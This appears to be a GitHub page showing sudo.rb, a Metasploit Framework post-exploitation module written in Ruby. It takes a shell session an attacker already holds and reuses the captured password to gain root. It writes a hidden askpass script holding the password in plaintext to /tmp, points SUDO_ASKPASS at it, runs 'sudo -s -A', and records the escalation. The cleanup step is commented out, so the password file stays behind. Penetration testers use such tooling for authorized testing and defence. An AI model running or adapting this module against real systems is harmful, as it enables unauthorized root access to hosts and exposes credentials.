forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathsudo.rb
134 lines (123 loc) · 3.9 KB
/
sudo.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
# $Id$
##
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/unix'
require 'msf/core/post/linux/priv'
require 'msf/core/post/linux/system'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
def initialize(info={})
super( update_info( info,
'Name' => 'Multiple Linux / Unix Post Sudo Upgrade Shell',
'Description' => %q{
This module attempts to upgrade a shell account to UID 0 by reusing the
given password and passing it to sudo. This technique relies on sudo
versions from 2008 and later which support -A.
},
'License' => MSF_LICENSE,
'Author' => [ 'todb <todb[at]metasploit.com>'],
'Version' => '$Revision: $',
'Platform' => [ 'linux','unix','osx','solaris','aix' ],
'References' =>
[
# Askpass first added March 2, 2008, looks like
[ 'URL', 'http://www.sudo.ws/repos/sudo/file/05780f5f71fd/sudo.h']
],
'SessionTypes' => [ 'shell' ] # Need to test 'meterpreter'
))
end
# Run Method for when run command is issued
def run
print_status("SUDO: Attempting to upgrade to UID 0 via sudo")
sudo_bin = cmd_exec("which sudo")
if is_root?
print_status "Already root, so no need to upgrade permissions. Aborting."
return
end
if sudo_bin.empty?
print_error "No sudo binary available. Aborting."
return
end
get_root()
end
def get_root
password = session.exploit_datastore['PASSWORD']
if password.to_s.empty?
print_status "No password available, trying a passwordless sudo."
else
print_status "Sudoing with password `#{password}'."
end
askpass_sudo(password)
unless is_root?
print_error "SUDO: Didn't work out, still a mere user."
else
print_good "SUDO: Root shell secured."
report_note(
:host => session,
:type => "host.escalation",
:data => "User `#{session.exploit_datastore['USERNAME']}' sudo'ed to a root shell"
)
end
end
# TODO: test on more platforms
def askpass_sudo(password)
if password.to_s.empty?
begin
::Timeout.timeout(30) do
cmd_exec("sudo -s")
end
rescue ::Timeout::Error
print_error "SUDO: Passwordless sudo timed out. Might be blocking."
rescue
print_error "SUDO: Passwordless sudo failed. Check the session log."
end
else
askpass_sh = "/tmp/." + Rex::Text.rand_text_alpha(7)
begin
# Telnet can be pretty pokey, allow about 20 seconds per cmd_exec
# Generally will be much snappier over ssh.
# Need to timeout in case there's a blocking prompt after all
::Timeout.timeout(120) do
vprint_status "Writing the SUDO_ASKPASS script: #{askpass_sh}"
cmd_exec("echo \\#\\!/bin/sh > #{askpass_sh}") # Cursed csh
cmd_exec("echo echo #{password} >> #{askpass_sh}")
vprint_status "Setting executable bit."
cmd_exec("chmod +x #{askpass_sh}")
vprint_status "Setting environment variable."
# Bruteforce the set command. At least one should work.
cmd_exec("setenv SUDO_ASKPASS #{askpass_sh}")
cmd_exec("export SUDO_ASKPASS=#{askpass_sh}")
vprint_status "Executing sudo -s -A"
cmd_exec("sudo -s -A")
end
rescue ::Timeout::Error
print_error "SUDO: Sudo with a password timed out."
rescue
print_error "SUDO: Sudo with a password failed. Check the session log."
end
# askpass_cleanup(askpass_sh)
end
end
def askpass_cleanup(askpass_sh)
begin
::Timeout.timeout(20) do
vprint_status "Deleting the SUDO_ASKPASS script."
cmd_exec("rm #{askpass_sh}")
end
rescue ::Timeout::Error
print_error "Timed out during sudo cleanup."
end
end
end